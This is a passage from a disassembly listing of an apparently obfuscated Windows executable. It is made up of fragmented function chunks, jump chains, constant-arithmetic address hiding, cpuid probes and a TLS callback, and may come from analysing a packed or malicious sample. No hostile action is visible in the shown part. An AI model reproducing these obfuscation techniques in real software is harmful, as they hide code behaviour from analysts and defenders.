; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FB2F


loc_4295F1:				; CODE XREF: sub_42FB2F:loc_42F50Aj
		mov	[esp+0], ecx
		call	sub_429459
; END OF FUNCTION CHUNK	FOR sub_42FB2F
; START	OF FUNCTION CHUNK FOR sub_42C990


loc_4295F9:				; CODE XREF: sub_42C990+Cj
		jmp	loc_42502C
; END OF FUNCTION CHUNK	FOR sub_42C990
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_4295FE:				; CODE XREF: sub_426968+18j
		jmp	loc_42E20D
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_429603:				; CODE XREF: sub_426535-14CBj
		jnz	loc_424934
		jmp	loc_42A9B1
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C670


loc_42960E:				; CODE XREF: sub_42C670:loc_42CCE3j
		mov	[edx], eax
		pop	edx
		retn
; END OF FUNCTION CHUNK	FOR sub_42C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429471


loc_429612:				; CODE XREF: sub_429471-339Bj
		jmp	nullsub_197
; END OF FUNCTION CHUNK	FOR sub_429471
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E0FD


loc_429617:				; CODE XREF: sub_42E0FD-568Bj
		ror	eax, 18h
		jmp	loc_42C665
; END OF FUNCTION CHUNK	FOR sub_42E0FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9B0


loc_42961F:				; CODE XREF: sub_42D9B0:loc_42AD30j
		jz	loc_425D16
		inc	dword ptr [ebp-8]


loc_429628:				; CODE XREF: sub_42D9B0:loc_427037j
					; sub_42D9B0+1B29j
		push	offset sub_425D0A
		jmp	nullsub_93
; END OF FUNCTION CHUNK	FOR sub_42D9B0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B02D


loc_429633:				; CODE XREF: sub_42B02D-2212j
		jmp	nullsub_45
; END OF FUNCTION CHUNK	FOR sub_42B02D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F4F


loc_429638:				; CODE XREF: sub_425F4F:loc_4273AFj
		ror	eax, 16h
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_425F4F
; ---------------------------------------------------------------------------


loc_42963D:				; CODE XREF: wto1jq8f:004291AEj
		jmp	loc_428A59

; =============== S U B	R O U T	I N E =======================================



sub_429642	proc near		; CODE XREF: sub_42F614-95B9p
					; sub_429BFF+6p
		push	ebp
		jmp	loc_426129
sub_429642	endp

; ---------------------------------------------------------------------------
		jle	loc_42D622
		jmp	loc_42D2B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F614


loc_429653:				; CODE XREF: sub_42F614-56EDj
		mov	eax, esp
		jmp	loc_424DBA
; END OF FUNCTION CHUNK	FOR sub_42F614
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB36


loc_42965A:				; CODE XREF: sub_42CB36j
		mov	eax, ds:dword_42F1CC
		or	eax, eax


loc_429662:				; CODE XREF: sub_42FBC7:loc_427C02j
		jnz	loc_42BC8F
		jmp	loc_42794E
; END OF FUNCTION CHUNK	FOR sub_42CB36
; ---------------------------------------------------------------------------


loc_42966D:				; CODE XREF: wto1jq8f:0042E19Dj
		jl	sub_4296B3
		pop	edx
		add	edx, 0B587069Ah


loc_42967A:				; CODE XREF: wto1jq8f:loc_42E17Fj
		xor	eax, 10A02000h
		xor	ebx, ebx
		xor	edx, edx
		cpuid
		and	eax, 2FFFh
		jmp	loc_429CA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426144


loc_429690:				; CODE XREF: sub_426144:loc_429454j
		jnz	loc_42F8FF
		jmp	loc_4277B4
; END OF FUNCTION CHUNK	FOR sub_426144

; =============== S U B	R O U T	I N E =======================================



sub_42969B	proc near		; CODE XREF: sub_42ED54+Ap
		xchg	eax, [esp+0]
		mov	eax, [esp+0]
		rol	eax, 16h


loc_4296A4:				; CODE XREF: wto1jq8f:0042EFB0j
		mov	ds:dword_42ACFC, eax
		retn
sub_42969B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE69


loc_4296AB:				; CODE XREF: sub_42EFB5-2C23j
					; sub_42BE69+B83j
		ror	eax, 16h
		jmp	loc_424569
; END OF FUNCTION CHUNK	FOR sub_42BE69

; =============== S U B	R O U T	I N E =======================================



sub_4296B3	proc near		; CODE XREF: wto1jq8f:loc_42966Dj
					; sub_42E9E8:loc_42D949p

; FUNCTION CHUNK AT 0042FD4D SIZE 00000005 BYTES

		mov	[esp+0], eax
		call	sub_42DFE5
		call	sub_429BD3


loc_4296C0:				; CODE XREF: sub_426806:loc_425E30j
		jz	loc_4250E0
		push	ebp
		push	offset sub_4250D4
		jmp	loc_42FD4D
sub_4296B3	endp

; ---------------------------------------------------------------------------


loc_4296D1:				; CODE XREF: wto1jq8f:004276AEj
		jnp	loc_428A0E
		xchg	edi, [edx]
		jmp	sub_42C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426313


loc_4296DE:				; CODE XREF: sub_426313-2097j
		test	ebx, 0C72A9BCBh
		jmp	loc_42B096
; END OF FUNCTION CHUNK	FOR sub_426313
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426950


loc_4296E9:				; CODE XREF: sub_426950+1j
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		xchg	ebx, [esp+8+var_8]
		jmp	loc_428484
; END OF FUNCTION CHUNK	FOR sub_426950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425EA8


loc_4296F6:				; CODE XREF: sub_425EA8:loc_42F35Bj
		push	offset loc_42EFE8
		jmp	nullsub_171
; END OF FUNCTION CHUNK	FOR sub_425EA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426842


loc_429700:				; CODE XREF: sub_426842+5EE3j
		ja	loc_424D94
; END OF FUNCTION CHUNK	FOR sub_426842

; =============== S U B	R O U T	I N E =======================================



sub_429706	proc near		; CODE XREF: sub_428F61-1B00p
		mov	[esp+0], ecx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_429706	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42970D	proc near		; CODE XREF: sub_428F61:loc_42745Cp

; FUNCTION CHUNK AT 0042764D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042858A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00428B39 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004295CE SIZE 00000023 BYTES
; FUNCTION CHUNK AT 004298E1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A4A0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A980 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042ABC5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C1E1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042C345 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042F9D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FC39 SIZE 00000008 BYTES

		push	ebp
		jmp	loc_42ABC5
sub_42970D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_429713:				; DATA XREF: sub_4266B1:loc_42AB18o
		mov	[esp], ecx
		push	7C2F30A6h
		pop	ecx
		add	ecx, 8413A526h
		mov	[ecx], eax
		pop	ecx
		jmp	loc_42CCCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DE77


loc_42972A:				; CODE XREF: sub_42DE77+5j
		push	4FF286D6h
		mov	eax, offset loc_42973D
		xchg	eax, [esp+4+var_4]
		retn
; END OF FUNCTION CHUNK	FOR sub_42DE77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D22D


loc_429738:				; CODE XREF: sub_42D22D+Cj
		jmp	loc_42AF90
; END OF FUNCTION CHUNK	FOR sub_42D22D
; ---------------------------------------------------------------------------


loc_42973D:				; DATA XREF: sub_42DE77-4748o
		xor	eax, 4FF286D7h
		shl	eax, cl
		mov	edx, [ebp-20h]
		jmp	loc_42ACD1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42974D:				; CODE XREF: sub_42C486:loc_42BBB9j
		mov	ecx, [ebp-18h]
		and	ecx, 7
; END OF FUNCTION CHUNK	FOR sub_42C486
; START	OF FUNCTION CHUNK FOR sub_429BD3


loc_429753:				; CODE XREF: sub_429BD3:loc_428A41j
		mov	al, 1
		shl	al, cl
		jmp	loc_42F272
; END OF FUNCTION CHUNK	FOR sub_429BD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FACF


loc_42975C:				; CODE XREF: wto1jq8f:004276E4j
					; wto1jq8f:0042781Bj ...
		mov	esp, ebp
		xchg	edx, [esp+0]
		push	edx
		pop	ebp
		jmp	loc_42ACCF
; END OF FUNCTION CHUNK	FOR sub_42FACF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_429768:				; CODE XREF: sub_426E98:loc_42B9C6j
		jz	loc_42EC39
		jmp	loc_42DFC3
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------


loc_429773:				; CODE XREF: wto1jq8f:0042D7E3j
		shr	esi, 9
		mov	ecx, 0DA74ED11h
		xor	edi, 19CE6EE1h
; START	OF FUNCTION CHUNK FOR sub_426FD6


loc_429781:				; CODE XREF: sub_426FD6+14j
		add	eax, 818414A5h
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		jmp	loc_425F26
; END OF FUNCTION CHUNK	FOR sub_426FD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_429792:				; CODE XREF: sub_426968+1A8j
		add	esi, ebx
		cdq
		shr	ecx, 0Fh
		jmp	loc_42DF1A
; END OF FUNCTION CHUNK	FOR sub_426968
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C6C3


loc_42979E:				; CODE XREF: sub_42C6C3-1455j
		jmp	loc_428E74
; END OF FUNCTION CHUNK	FOR sub_42C6C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EFB5


loc_4297A3:				; CODE XREF: sub_42EFB5-71ABj
		cmp	esi, edi
		jmp	loc_425D85
; END OF FUNCTION CHUNK	FOR sub_42EFB5
; ---------------------------------------------------------------------------


loc_4297AA:				; DATA XREF: sub_425B8C:loc_42EBC0o
		pop	ebp
		push	8BA0485h
		pop	eax
		sub	eax, 6549B7D8h
		xor	eax, 0C5331827h
		add	eax, 99FF90AAh
		jmp	loc_424364
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_4297C8:				; CODE XREF: sub_42E9E8-71D5j
		jb	loc_428E6E
		push	eax
		push	100h
		lea	eax, [ebp-2C8h]
		push	eax
		push	4C91A0h
		mov	eax, [ebp-10h]
		push	eax
		jmp	loc_426931
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------


loc_4297E9:				; CODE XREF: wto1jq8f:0042D00Dj
		jb	loc_42A7D6
		popf
		xor	edi, eax


loc_4297F2:				; CODE XREF: wto1jq8f:loc_42EE2Dj
		push	4646BCEAh
		pop	eax
		or	eax, 0C407C2D4h
		add	eax, 83673FF5h
		add	eax, ebp
		jmp	loc_42769F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4272F3


loc_42980B:				; CODE XREF: sub_4272F3+3F43j
		jnz	loc_426D68
		jmp	loc_42AB13
; END OF FUNCTION CHUNK	FOR sub_4272F3

; =============== S U B	R O U T	I N E =======================================



sub_429816	proc near		; DATA XREF: wto1jq8f:00425D7Bo

; FUNCTION CHUNK AT 0042A4B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D172 SIZE 00000014 BYTES

		push	0AF237DB8h
		pop	eax
		sub	eax, 241D1F7Dh
		or	eax, 0B476DAACh
		add	eax, 0F1A97BA5h
		add	eax, ebp
		jmp	loc_42A4B8
sub_429816	endp


; =============== S U B	R O U T	I N E =======================================



sub_429835	proc near		; DATA XREF: wto1jq8f:0042BE39o

; FUNCTION CHUNK AT 0042ED7C SIZE 00000005 BYTES

		add	ebx, 90451DFFh
		xchg	ebx, [esp+0]
		jmp	loc_42ED7C
sub_429835	endp

; ---------------------------------------------------------------------------


loc_429843:				; CODE XREF: wto1jq8f:loc_42CE64j
		mov	eax, 52h
		call	sub_4282EB


loc_42984D:				; CODE XREF: wto1jq8f:0042D205j
		jmp	loc_42E17F
; ---------------------------------------------------------------------------


loc_429852:				; CODE XREF: wto1jq8f:0042C1BAj
		jmp	loc_427718
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D322


loc_429857:				; CODE XREF: sub_42D322-31EAj
		push	offset loc_42842B
		jmp	nullsub_208
; END OF FUNCTION CHUNK	FOR sub_42D322
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260A9


loc_429861:				; CODE XREF: sub_4260A9:loc_428688j
		xor	edx, edx
		jmp	loc_42778D
; END OF FUNCTION CHUNK	FOR sub_4260A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425CE2


loc_429868:				; CODE XREF: sub_425CE2+1j
		add	eax, [esp+0]
		adc	edx, [esp+arg_0]
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_429263
; END OF FUNCTION CHUNK	FOR sub_425CE2
; ---------------------------------------------------------------------------


loc_42987C:				; DATA XREF: sub_4287D0+Bo
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_42ACE4
		jmp	loc_42C068
; ---------------------------------------------------------------------------
		call	sub_42A289
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_429893:				; CODE XREF: sub_4244EA+B877j
		jmp	nullsub_193
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_429898:				; CODE XREF: sub_42E9E8-8B1Bj
		ror	ebx, 15h
		mov	edx, 80979406h
		jmp	loc_426BCB
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------


loc_4298A5:				; CODE XREF: wto1jq8f:00429E36j
		add	eax, 7D0h
		mov	[ebp-8], eax
		push	8939F545h
		xor	dword ptr [esp], 8939F547h
		push	0
		push	88FC08C9h
		add	dword ptr [esp], 7703F737h
		jmp	loc_42E706
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42750A


loc_4298CC:				; CODE XREF: sub_42750A+B17j
					; wto1jq8f:0042D1A0j
		add	eax, 564BA979h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_4268F1
		jmp	loc_427CF5
; END OF FUNCTION CHUNK	FOR sub_42750A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42970D


loc_4298E1:				; CODE XREF: sub_42970D:loc_42A4A0j
		jz	loc_4295D6
		jmp	loc_42C345
; END OF FUNCTION CHUNK	FOR sub_42970D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262F5


loc_4298ED:				; CODE XREF: sub_4262F5+12j
		cpuid
		and	eax, 0FFFh
		add	[esi], eax
		xor	[esi], edx
		mov	eax, 80000000h
		cpuid
		cmp	eax, 80000000h
		jbe	loc_4248DF
		jmp	loc_429D23
; END OF FUNCTION CHUNK	FOR sub_4262F5
; ---------------------------------------------------------------------------
		jnb	loc_42BD85
		jmp	loc_42F99B
; ---------------------------------------------------------------------------


loc_42991A:				; CODE XREF: wto1jq8f:loc_42659Ej
					; wto1jq8f:0042AB80j
		mov	eax, [eax+60h]
		add	eax, [ebp-4]
		mov	[ebp-14h], eax
		mov	eax, [ebp-14h]
		mov	eax, [eax+18h]
; START	OF FUNCTION CHUNK FOR sub_42F25F


loc_429929:				; CODE XREF: sub_42F25F:loc_42D6C4j
		dec	eax
		jmp	loc_42AF7D
; END OF FUNCTION CHUNK	FOR sub_42F25F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42992F	proc near		; CODE XREF: sub_42B855:loc_42E63Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	sub_42FE4C


loc_429937:				; DATA XREF: sub_42E541-58E3o
		jnz	loc_42AC2F
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax-8], 4
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+arg_0]
		mov	[edx-18h], eax
		call	sub_42B12A


loc_429955:				; CODE XREF: sub_42CED1+2E4Cj
		jmp	sub_42885C
sub_42992F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CD35


loc_42995A:				; CODE XREF: sub_42CD35+9j
		jmp	loc_42E3AD
; END OF FUNCTION CHUNK	FOR sub_42CD35
; ---------------------------------------------------------------------------


loc_42995F:				; CODE XREF: wto1jq8f:004259A9j
		jmp	sub_4266EF
; ---------------------------------------------------------------------------
		mov	edx, 0A70158B4h
		call	sub_429165
		push	eax


loc_42996F:				; CODE XREF: wto1jq8f:loc_427271j
		rol	eax, 18h
		call	sub_42C670
; START	OF FUNCTION CHUNK FOR sub_4273F7


loc_429977:				; CODE XREF: sub_4273F7+Aj
		jmp	nullsub_141
; END OF FUNCTION CHUNK	FOR sub_4273F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_42997C:				; CODE XREF: sub_42A909+566Fj
		sbb	ebx, eax
		mov	[eax], esi
		xchg	ebp, esi
		jmp	loc_42B872
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------


loc_429987:				; CODE XREF: wto1jq8f:0042EF87j
		shl	esi, 14h
		and	eax, 81ED0A8Fh


loc_429990:				; CODE XREF: wto1jq8f:loc_42857Fj
		mov	eax, [ebp-4]
		mov	eax, [eax]
		jmp	loc_428039
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR TlsCallback_0


loc_42999A:				; CODE XREF: TlsCallback_0:loc_42EAABj
		push	ecx
		push	0D6363DB7h
		pop	ecx
		xor	ecx, 0FC2FD1A2h
		and	ecx, 3FC060A3h
		call	sub_42C21B


loc_4299B2:				; CODE XREF: sub_4272F3-1307j
		jnz	loc_42DF88
		jmp	loc_42A9BC
; END OF FUNCTION CHUNK	FOR TlsCallback_0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_235. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA8E


loc_4299BE:				; CODE XREF: sub_42AA8E:loc_424B56j
		or	edx, 43C10C28h
		jns	loc_427873
		adc	edx, ecx
		sbb	ecx, 0FFEA7CDEh
		add	eax, 2B5DA642h
		jmp	loc_427873
; END OF FUNCTION CHUNK	FOR sub_42AA8E
; ---------------------------------------------------------------------------
		shl	ebp, 9
		jmp	loc_42FBFA
; ---------------------------------------------------------------------------


loc_4299E5:				; CODE XREF: wto1jq8f:00425B2Cj
		jnz	loc_42471C

; =============== S U B	R O U T	I N E =======================================



sub_4299EB	proc near		; CODE XREF: sub_42D69D-2A40p
		mov	[esp+0], eax
		pop	eax
		pop	esi
		retn
sub_4299EB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FFBA


loc_4299F1:				; CODE XREF: sub_42FFBA-6E92j
		jmp	loc_4242C1
; END OF FUNCTION CHUNK	FOR sub_42FFBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD2D


loc_4299F6:				; CODE XREF: sub_42DD2D:loc_42DF6Ej
		ror	eax, 19h
		jmp	loc_42E63F
; END OF FUNCTION CHUNK	FOR sub_42DD2D
; ---------------------------------------------------------------------------


loc_4299FE:				; CODE XREF: wto1jq8f:loc_42F55Ej
		mov	edx, edi
		rol	esi, 12h
		shr	ebx, 4
		not	ebp
		jmp	loc_42FA61
; ---------------------------------------------------------------------------


loc_429A0D:				; DATA XREF: wto1jq8f:0042DAB4o
		add	eax, 484F6F11h
		push	offset loc_42FDD4
		jmp	loc_42E6E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425944


loc_429A1D:				; CODE XREF: sub_425944+1185j
		add	esp, 8
		mov	[ebp-4], eax
		jmp	loc_42E53C
; END OF FUNCTION CHUNK	FOR sub_425944

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A28	proc near		; CODE XREF: sub_425944+Dp
					; sub_425944+21B8p

var_20		= dword	ptr -20h

; FUNCTION CHUNK AT 0042DCDA SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		mov	[ebp+var_20], eax
		push	offset sub_42D44C
		jmp	loc_42DCDA
sub_429A28	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_151. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42655A


loc_429A3C:				; CODE XREF: sub_42655A+6C0Cj
		cmp	ebx, ecx
		jmp	loc_42C26D
; END OF FUNCTION CHUNK	FOR sub_42655A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B05


loc_429A43:				; CODE XREF: sub_428B05-BFBj
		jnz	loc_427EF6
		retn
; END OF FUNCTION CHUNK	FOR sub_428B05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_429A4A:				; CODE XREF: sub_426535+AD8j
		jmp	loc_429337
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B05


loc_429A4F:				; CODE XREF: sub_428B05:loc_427EF6j
		sub	ebx, 10000h
		mov	eax, [ebx]


loc_429A57:				; CODE XREF: sub_425F4F:loc_42EAC0j
		neg	eax
		cmp	ax, 0A5B3h
		jnz	loc_427EF6
		jmp	loc_42B8D9
; END OF FUNCTION CHUNK	FOR sub_428B05
; ---------------------------------------------------------------------------
		sub	ebp, 6A9BA911h
		jmp	sub_42F62D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_175. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	esi
		jmp	sub_428310
; ---------------------------------------------------------------------------


loc_429A7A:				; DATA XREF: wto1jq8f:0042B9E1o
		push	7A32DB3Dh
		pop	edx
		add	edx, 860FD1B3h
		mov	[edx], eax
		pop	edx
		xor	eax, eax
		mov	[ebp-4], eax
		jmp	loc_4282E6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42708B


loc_429A94:				; CODE XREF: sub_42708B:loc_424ACEj
		jmp	loc_429293
; END OF FUNCTION CHUNK	FOR sub_42708B

; =============== S U B	R O U T	I N E =======================================



sub_429A99	proc near		; CODE XREF: sub_427198+Dj

; FUNCTION CHUNK AT 0042F0B8 SIZE 00000005 BYTES

		push	ebp
		push	6BCF9032h
		pop	eax
		or	eax, 0C92E5ECEh
		add	eax, 1452CE02h
		push	offset loc_42875D
		jmp	loc_42F0B8
sub_429A99	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_429AB6:				; CODE XREF: sub_42506F+11j
		add	eax, 47892A72h
		add	eax, ebp
		add	eax, 31DF1B2Ch
		mov	eax, [eax]
		mov	dword ptr [ebp+eax*4-70h], 73257325h
		jmp	loc_4246C5
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FF9A


loc_429AD3:				; CODE XREF: sub_42FF9A-35F5j
		push	835E9DAEh
		pop	ecx
		xor	ecx, 0C324E486h
		popf
		adc	eax, ecx
		pop	ecx
		jmp	loc_424C68
; END OF FUNCTION CHUNK	FOR sub_42FF9A

; =============== S U B	R O U T	I N E =======================================



sub_429AE8	proc near		; CODE XREF: sub_4260DB+57E6p
					; wto1jq8f:0042E033j

; FUNCTION CHUNK AT 00424C10 SIZE 0000001E BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	eax, 9C8BFECh
		add	eax, ebp
		add	eax, 40887D73h
		push	eax
		push	0A1D557EFh
		pop	eax
		jmp	loc_424C10
sub_429AE8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_429B06:				; CODE XREF: sub_426535-23C4j
		sub	edi, ecx
		jmp	loc_427F39
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E35


loc_429B0D:				; CODE XREF: sub_425E35+8280j
		or	ecx, ecx
		jz	loc_42F9B4
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jmp	loc_429C4A
; END OF FUNCTION CHUNK	FOR sub_425E35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AEA4


loc_429B20:				; CODE XREF: sub_42AEA4+15j
		xchg	edi, [esp+0]
		jmp	loc_426E20
; END OF FUNCTION CHUNK	FOR sub_42AEA4
; ---------------------------------------------------------------------------
		adc	ecx, 61BE78E3h
		jmp	loc_42B2A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_429B33:				; CODE XREF: sub_426E98+AFj
		jb	loc_42B1CD
; END OF FUNCTION CHUNK	FOR sub_426E98

; =============== S U B	R O U T	I N E =======================================



sub_429B39	proc near		; CODE XREF: wto1jq8f:00426D8Ap
		xchg	ebx, [esp+0]
		pop	ebx
		push	3DAF8BDEh
		mov	eax, offset loc_4259A0
		xchg	eax, [esp+0]
		jmp	nullsub_230
sub_429B39	endp

; ---------------------------------------------------------------------------
		jnp	loc_42B2EE
		jnb	loc_42F892
		jmp	sub_42FC50
; ---------------------------------------------------------------------------

locret_429B60:				; CODE XREF: wto1jq8f:0042DAB9j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E0FD


loc_429B61:				; CODE XREF: sub_42E0FD-2D08j
					; sub_42F25F+A21j
		jmp	loc_4278D6
; END OF FUNCTION CHUNK	FOR sub_42E0FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B02D


loc_429B66:				; CODE XREF: sub_42B02D:loc_4265A4j
		push	ds:dword_42FB5C
		retn
; END OF FUNCTION CHUNK	FOR sub_42B02D

; =============== S U B	R O U T	I N E =======================================



sub_429B6D	proc near		; CODE XREF: sub_42B02D+37Dp
					; sub_42B02D+49Ap

; FUNCTION CHUNK AT 00429E6B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042B21A SIZE 00000014 BYTES

		mov	eax, cs
		xor	al, al
		jmp	loc_42B21A
sub_429B6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_429B76	proc near		; DATA XREF: sub_42506F:loc_42B7ADo

var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424086 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00424183 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004247ED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424C63 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425C7D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042670F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004269C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042723A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00427396 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00427B95 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00428AB1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042907C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429390 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00429F75 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042A022 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A0AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A0C8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A2A0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042ADDB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042B374 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042C527 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042D284 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D778 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DB37 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042E0C6 SIZE 0000000B BYTES
